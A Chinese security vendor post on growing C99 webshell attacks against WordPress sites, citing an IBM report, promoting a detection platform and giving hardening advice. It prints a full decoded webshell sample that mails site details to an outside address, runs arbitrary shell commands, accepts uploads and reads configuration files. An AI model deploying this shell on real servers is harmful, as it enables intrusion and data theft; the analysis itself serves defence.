wordpress c99 php webshell 攻击加剧 安恒 明御APT预警平台webshell审计 告警
Jun 20, 2016 pm 12:31 PM
wordpress c99 php webshell 攻击加剧 安恒 明御APT预警平台webshell审计 告警
近期,IBM的管理安全服务(MSS) 团队发出警告,称其监测到通过利用C99 php webshell,大量WordPress站点遭受到新的攻击 ,提醒WordPress站点管理员应及时扫描并修复站点漏洞。
据悉,基于IBM MSS团队长期对恶意事件的监测分析,安全研究人员发现在过去的两个月,出现了类C99 webshell引起的流量异常,其中在二月份监测到的事件数量为404件,而在三月份则达到588件,具体如下
详细新闻见
https://securityintelligence.com/got-wordpress-php-c99-webshell-attacks-increasing/
安恒研究院通过 google搜索 收集了c99 webshell样本
解密后得到
error_reporting ( 0 ) ;
if ( ! isset ( $_SESSION [ ‘bajak’ ])) {
$visitcount = 0 ;
$web = $_SERVER [ ‘HTTP_HOST’ ] ;
$inj = $_SERVER [ ‘REQUEST_URI’ ] ;
$body = “ada yang inject \n { $web }{ $inj }” ;
$safem0de = @ ini_get ( ‘safe_mode’ ) ;
if ( ! $safem0de ) {
$security = ‘SAFE_MODE = OFF’ ;
} else {
$security = ‘SAFE_MODE = ON’ ;
}
$serper = gethostbyname ( $_SERVER [ ‘SERVER_ADDR’ ]) ;
$injektor = gethostbyname ( $_SERVER [ ‘REMOTE_ADDR’ ]) ;
mail ( ‘cumicd@gmail.com’ , “{ $body }” , “Hasil Bajakan http://{ $web }{ $inj } \n { $security } \n IP Server = { $serper } \n IP Injector= { $injektor }” ) ;
$_SESSION [ ‘bajak’ ] = 0 ;
} else {
$_SESSION [ ‘bajak’ ] ++ ;
}
if ( isset ( $_GET [ ‘clone’ ])) {
$source = $_SERVER [ ‘SCRIPT_FILENAME’ ] ;
$desti = $_SERVER [ ‘DOCUMENT_ROOT’ ] . ‘/images/stories/food/footer.php’ ;
rename ( $source , $desti ) ;
}
$safem0de = @ ini_get ( ‘safe_mode’ ) ;
if ( ! $safem0de ) {
$security = ‘SAFE_MODE : OFF’ ;
} else {
$security = ‘SAFE_MODE : ON’ ;
}
echo ‘
’ ;
echo ‘’ . $security . ‘
’ ;
$cur_user = ‘(‘ . get_current_user ( ) . ‘)’ ;
echo ‘User : uid=’ . getmyuid ( ) . $cur_user . ‘ gid=’ . getmygid ( ) . $cur_user . ‘
’ ;
echo ‘Uname : ‘ . php_uname ( ) . ‘
’ ;
function pwd ( )
{
$cwd = getcwd ( ) ;
if ( $u = strrpos ( $cwd , ‘/’ )) {
if ( $u != strlen ( $cwd ) – 1 ) {
return $cwd . ‘/’ ;
} else {
return $cwd ;
}
} elseif ( $u = strrpos ( $cwd , ‘ \\ ‘ )) {
if ( $u != strlen ( $cwd ) – 1 ) {
return $cwd . ‘ \\ ‘ ;
} else {
return $cwd ;
}
}
}
echo ‘
’ ;echo ‘
’ ;if ( isset ( $_POST [ ‘submit’ ])) {
$uploaddir = pwd ( ) ;
if ( ! ( $name = $_POST [ ‘newname’ ])) {
$name = $_FILES [ ‘userfile’ ] [ ‘name’ ] ;
}
move_uploaded_file ( $_FILES [ ‘userfile’ ] [ ‘tmp_name’ ] , $uploaddir . $name ) ;
if ( move_uploaded_file ( $_FILES [ ‘userfile’ ] [ ‘tmp_name’ ] , $uploaddir . $name )) {
echo ‘Upload GAGAL!!!’ ;
} else {
echo ‘Upload Success to ‘ . $uploaddir . $name . ‘ :\P ‘ ;
}
}
if ( isset ( $_POST [ ‘command’ ])) {
$cmd = $_POST [ ‘cmd’ ] ;
echo ‘
<font>’ . shell_exec ( $cmd ) . ‘</font>
} elseif ( isset ( $_GET [ ‘cmd’ ])) {
$comd = $_GET [ ‘cmd’ ] ;
echo ‘
<font>’ . shell_exec ( $comd ) . ‘</font>
} elseif ( isset ( $_GET [ ‘rf’ ])) {
$rf = file_get_contents ( ‘../../configuration.php’ ) ;
echo $rf ;
} else {
echo ‘
<font>’ . shell_exec ( ‘ls -la’ ) . ‘</font>
}
?>
进一步分析 受害wordpress情况发现
https://www.google.com.hk/?gws_rd=ssl#safe=strict&q=pagat+shell
Webshell可允许攻击者在服务器上运行终端命令或上传新的文件到站点上,新的文件可以是更具侵入性的webshells,DDoS客户端,比特币矿工软件或者是其他的恶意软件
据IBM MSS团队称,截至至2016年4月12日,仅通过Google 搜索引擎简单查询,就发现其中约有32000个WordPress站点存在pagat.txt文件
apt预警平台能够实时监测到webshell攻击行为并告警 c99的webshell也没能逃过 apt 预警平台的规则 被准确的告警出来帮助用于第一时间发现webshell攻击行为
安全建议:
基于目前的情况,建议站点管理员可以进行如下操作,
1、编辑php.ini文件,禁用base64解码功能。在php.ini文件中,找到相关配置语句“disable_functions =”,将该语句设置成“disable_functions = eval,base64_decode, gzinflate”;
2、更改上传文件夹名称。WordPress 允许通过上传程序将文件写入到上传文件夹,如果用户仍然使用默认名称,攻击者可较为容易推测到上传文件的具体路径,使得攻击者上传包含 shell 脚本的PHP文件的成本大大降低;
3、安装一款可用性较强的安全插件,如wordfence WordPress 插件;
4、进行安全扫描。建议使用开源扫描工具,对上传文件进行全量扫描,这里可使用扫描工具Modsecurity,同时通过AWVS或者WordPress 安全扫描器对站点进行扫描,及时发现漏洞,并进行修复加固;
5、如果发现站点已经被感染了,建议及时变更站点的所有管理账户密码,并告知站点用户进行密码变更。
安全研究员:zise

Hot Article

Hot tools Tags

Hot Article

Hot Article Tags

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics

11 Best PHP URL Shortener Scripts (Free and Premium)

Working with Flash Session Data in Laravel

Build a React App With a Laravel Back End: Part 2, React

Simplified HTTP Response Mocking in Laravel Tests

cURL in PHP: How to Use the PHP cURL Extension in REST APIs

12 Best PHP Chat Scripts on CodeCanyon
